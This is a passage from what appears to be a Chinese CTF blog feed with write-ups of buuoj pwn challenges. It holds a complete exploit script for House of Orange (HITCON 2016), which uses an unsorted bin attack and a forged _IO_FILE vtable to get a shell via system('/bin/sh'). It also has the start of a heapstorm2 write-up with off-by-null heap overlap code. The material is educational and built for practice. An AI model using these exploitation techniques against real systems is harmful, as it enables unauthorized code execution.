punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>hbase <span class="token operator">=</span> addr <span class="token operator">&amp;</span> <span class="token number">0xffFFffFFffFFf000</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/6a6ded9c/7.png" alt="upload successful"></p><p>之后就是unsorted bin attack，修改_IO_list_all为unsorted bin的地址，而unsorted bin + 0x68(_IO_FILE_plus的_chain字段)是0x60大小的small chunk，要是把覆盖unsorted bin 中的chunk的size成0x60，那么_chain将填成这个chunk的地址，就把这个chunk当成_IO_FILE_plus结构了</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x400</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x21</span><span class="token punctuation">)</span>pay <span class="token operator">+=</span> p32<span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>fake_file <span class="token operator">=</span> <span class="token string">'/bin/sh\x00'</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x61</span><span class="token punctuation">)</span> <span class="token comment"># pre_size, size</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>_IO_list_all<span class="token operator">-</span><span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token comment"># fd, bk</span>pay <span class="token operator">+=</span> fake_fileedit<span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>pay<span class="token punctuation">)</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">,</span> <span class="token string">'aaa'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>通过unsorted bin attack将_IO_list_all改成unsorted bin的地址<br><img src="/images/6a6ded9c/8.png" alt="upload successful"></p><p>并且+0x68处，已经改成这个chunk的地址<br><img src="/images/6a6ded9c/9.png" alt="upload successful"></p><p>开始FSOP</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x400</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x21</span><span class="token punctuation">)</span>pay <span class="token operator">+=</span> p32<span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>chunk_addr <span class="token operator">=</span> hbase <span class="token operator">+</span> <span class="token number">0x560</span>fake_file <span class="token operator">=</span> <span class="token string">'/bin/sh\x00'</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x61</span><span class="token punctuation">)</span> <span class="token comment"># pre_size, size</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>_IO_list_all<span class="token operator">-</span><span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token comment"># fd, bk</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># _IO_write_base, _IO_write_ptr</span>fake_file <span class="token operator">=</span> fake_file<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">0xc0</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment"># _mode</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span>chunk_addr <span class="token operator">+</span> <span class="token builtin">len</span><span class="token punctuation">(</span>fake_file<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># vtable</span>fake_vtable <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">3</span>fake_vtable <span class="token operator">+=</span> p64<span class="token punctuation">(</span>lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token comment"># _IO_OVERFLOW</span>pay <span class="token operator">+=</span> fake_file <span class="token operator">+</span> fake_vtable<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>完整exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token comment">#!/usr/bin/python2</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./houseoforange_hitcon_2016'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'0.0.0.0'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'../libc/libc-2.23.so'</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'choice : '</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'name :'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    sa<span class="token punctuation">(</span><span class="token string">'Name :'</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Orange:'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Orange:'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">show</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'choice : '</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">edit</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'choice : '</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'name :'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    sa<span class="token punctuation">(</span><span class="token string">'Name:'</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Orange:'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Orange:'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">#rs()</span>rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span><span class="token comment"># print(ctx.libc.path)</span>add<span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">,</span> <span class="token string">'aaaa'</span><span class="token punctuation">)</span>fake_name <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x80</span>fake_name <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x21</span><span class="token punctuation">)</span> <span class="token comment"># color chunk: pre_size, size 不必要伪造，直接随便覆盖也行</span>fake_name <span class="token operator">+=</span> p32<span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment"># color structure</span>fake_name <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0xf31</span><span class="token punctuation">)</span> <span class="token comment"># top chunk: pre_size, size</span>edit<span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>fake_name<span class="token punctuation">)</span><span class="token punctuation">,</span> fake_name<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">,</span> <span class="token string">'aaa'</span><span class="token punctuation">)</span> <span class="token comment"># free top chunk</span>add<span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># 从unsorted bin中切割一块出来 'a' * 8 是fd，后面就是bk</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span>addr <span class="token operator">=</span> uu64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>lbase <span class="token operator">=</span> addr <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token number">0x7ffff7dd2188</span> <span class="token operator">-</span> <span class="token number">0x7ffff7a0d000</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x10</span><span class="token punctuation">)</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x10</span><span class="token punctuation">)</span>addr <span class="token operator">=</span> uu64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>hbase <span class="token operator">=</span> addr <span class="token operator">&amp;</span> <span class="token number">0xffFFffFFffFFf000</span>leak<span class="token punctuation">(</span><span class="token string">'hbase'</span><span class="token punctuation">,</span> hbase<span class="token punctuation">)</span>_IO_list_all <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'_IO_list_all'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'_IO_list_all'</span><span class="token punctuation">,</span> _IO_list_all<span class="token punctuation">)</span>pay <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x400</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x21</span><span class="token punctuation">)</span>pay <span class="token operator">+=</span> p32<span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>chunk_addr <span class="token operator">=</span> hbase <span class="token operator">+</span> <span class="token number">0x560</span>fake_file <span class="token operator">=</span> <span class="token string">'/bin/sh\x00'</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x61</span><span class="token punctuation">)</span> <span class="token comment"># pre_size, size</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>_IO_list_all<span class="token operator">-</span><span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token comment"># fd, bk</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># _IO_write_base, _IO_write_ptr</span>fake_file <span class="token operator">=</span> fake_file<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">0xc0</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment"># _mode</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>fake_file <span class="token operator">+=</span> p64<span class="token punctuation">(</span>chunk_addr <span class="token operator">+</span> <span class="token builtin">len</span><span class="token punctuation">(</span>fake_file<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># vtable</span>fake_vtable <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">3</span>fake_vtable <span class="token operator">+=</span> p64<span class="token punctuation">(</span>lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token comment"># _IO_OVERFLOW</span>pay <span class="token operator">+=</span> fake_file <span class="token operator">+</span> fake_vtable<span class="token comment">#dbg('watch %s' % hex(_IO_list_all))</span>edit<span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>pay<span class="token punctuation">)</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span><span class="token comment">#add(0x400, 'aaa')</span>sla<span class="token punctuation">(</span><span class="token string">'choice : '</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;buuoj刷pwn题之houseoforange_hitcon_2016&lt;/p&gt;
    
    </summary>
    
    
      <category term="buuoj题目复现" scheme="http://www.xi4oyu.top/categories/buuoj%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    
    
      <category term="house of orange" scheme="http://www.xi4oyu.top/tags/house-of-orange/"/>
    
      <category term="unsorted bin attack" scheme="http://www.xi4oyu.top/tags/unsorted-bin-attack/"/>
    
  </entry>
  
  <entry>
    <title>0ctf_2018_heapstorm2</title>
    <link href="http://www.xi4oyu.top/851af66/"/>
    <id>http://www.xi4oyu.top/851af66/</id>
    <published>2020-06-15T02:18:00.000Z</published>
    <updated>2020-06-15T02:18:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>buuoj刷pwn题之0ctf_2018_heapstorm2</p><span id="more"></span><p><strong>参考文章</strong>:<br><a href="https://bbs.pediy.com/thread-225973.htm">https://bbs.pediy.com/thread-225973.htm</a></p><p>当然是保护全开啦<br><img src="/images/851af66/1.png" alt="upload successful"></p><p>关闭了fastbin<br><img src="/images/851af66/2.png" alt="upload successful"></p><p>有add，edit，delete，show</p><p>malloc的指针都和随机数异或后存储<br><img src="/images/851af66/3.png" alt="upload successful"><br><img src="/images/851af66/4.png" alt="upload successful"></p><p>莫得fastbin，要large bin attack</p><p>edit功能有off by null的缺陷<br><img src="/images/851af66/5.png" alt="upload successful"></p><p>可以利用这个off by null来制造overlap chunk</p><p>通过edit，伪造接下来要用上的pre_size</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 0</span>add<span class="token punctuation">(</span><span class="token number">0x508</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 2</span><span class="token comment"># 待会mallc(0x18)的时候，会根据1找到下一个chunk的pre_size，与size相等才通过检查</span>edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token number">0x4f0</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x500</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># next = chunk+size(改成0x500)</span>add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 3</span>add<span class="token punctuation">(</span><span class="token number">0x508</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 5</span>edit<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token number">0x4f0</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x500</span><span class="token punctuation">)</span><span class="token punctuation">)</span> add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 6</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>情况如下<br><img src="/images/851af66/6.png" alt="upload successful"><br><img src="/images/851af66/7.png" alt="upload successful"></p><p>将chunk1给free掉，然后修改chunk0，off by null将chunk1的size改掉</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">free<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># chunk2 pre_size=0x510, inuse=0</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x18</span> <span class="token operator">-</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># chunk1 size=0x500</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>可以看到，chunk1的size最低字节改成了<code>\x00</code>，从原来的0x510变成了0x500<br><img src="/images/851af66/8.png" alt="upload successful"></p><p>同时，chunk2的inused位变成了0，因为他的前一个chunk(chunk1)已经free了<br><img src="/images/851af66/9.png" alt="upload successful"></p><p>此时再malloc，会从之前的释放的chunk1从分配，因为size已经修改成了0x500，那么下一个chunk的位置就是chunk1+0x500，这个位置是之前构造的pre_size，也是0x500，所以通过检查，可以malloc</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>add<span class="token punctuation">(</span><span class="token number">0x4d8</span><span class="token punctuation">)</span> <span class="token comment"># 7</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="/images/851af66/10.png" alt="upload successful"></p><p>此时再释放1和2，要注意2的inused是0，那么chunk1和chunk2会合并入unsorted bin</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># chunk1+chunk2合并，node7指向chunk1+0x20+0x10</span>free<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>而此时的7还可以控制chunk1与chunk2合并后的区域</p><p><img src="/images/851af66/11.png" alt="upload successful"></p><p><img src="/images/851af66/12.png" alt="upload successful"></p><p>然后把这块chunk，再malloc出来</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x38</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>add<span class="token punctuation">(</span><span class="token number">0x4e8</span><span class="token punctuation">)</span> <span class="token comment"># 2</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>1和7就重叠了<br><img src="/images/851af66/13.png" alt="upload successful"></p><p>重复一遍操作</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">free<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x18</span> <span class="token operator">-</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>add<span class="token punctuation">(</span><span class="token number">0x4d8</span><span class="token punctuation">)</span> <span class="token comment"># 8</span>free<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>free<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x48</span><span class="token punctuation">)</span> <span class="token comment"># 4</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>4和8也重叠了<br><img src="/images/851af66/14.png" alt="upload successful"></p><p>此时unsorted bin里面还有之前free的4的一部分块(add(0x48)后切割剩下的)<br><img src="/images/851af66/15.png" alt="upload successful"></p><p>此时将2释放，再分配，0x5555557575c0就被安排到large bin里</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x4e8</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="/images/851af66/16.png" alt="upload successful"></p><p>然后再释放2，这样就把2放到unsorted bin里了</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/images/851af66/17.png" alt="upload successful"></p><p>通过之前的7可以修改free掉的2，改掉bk</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token 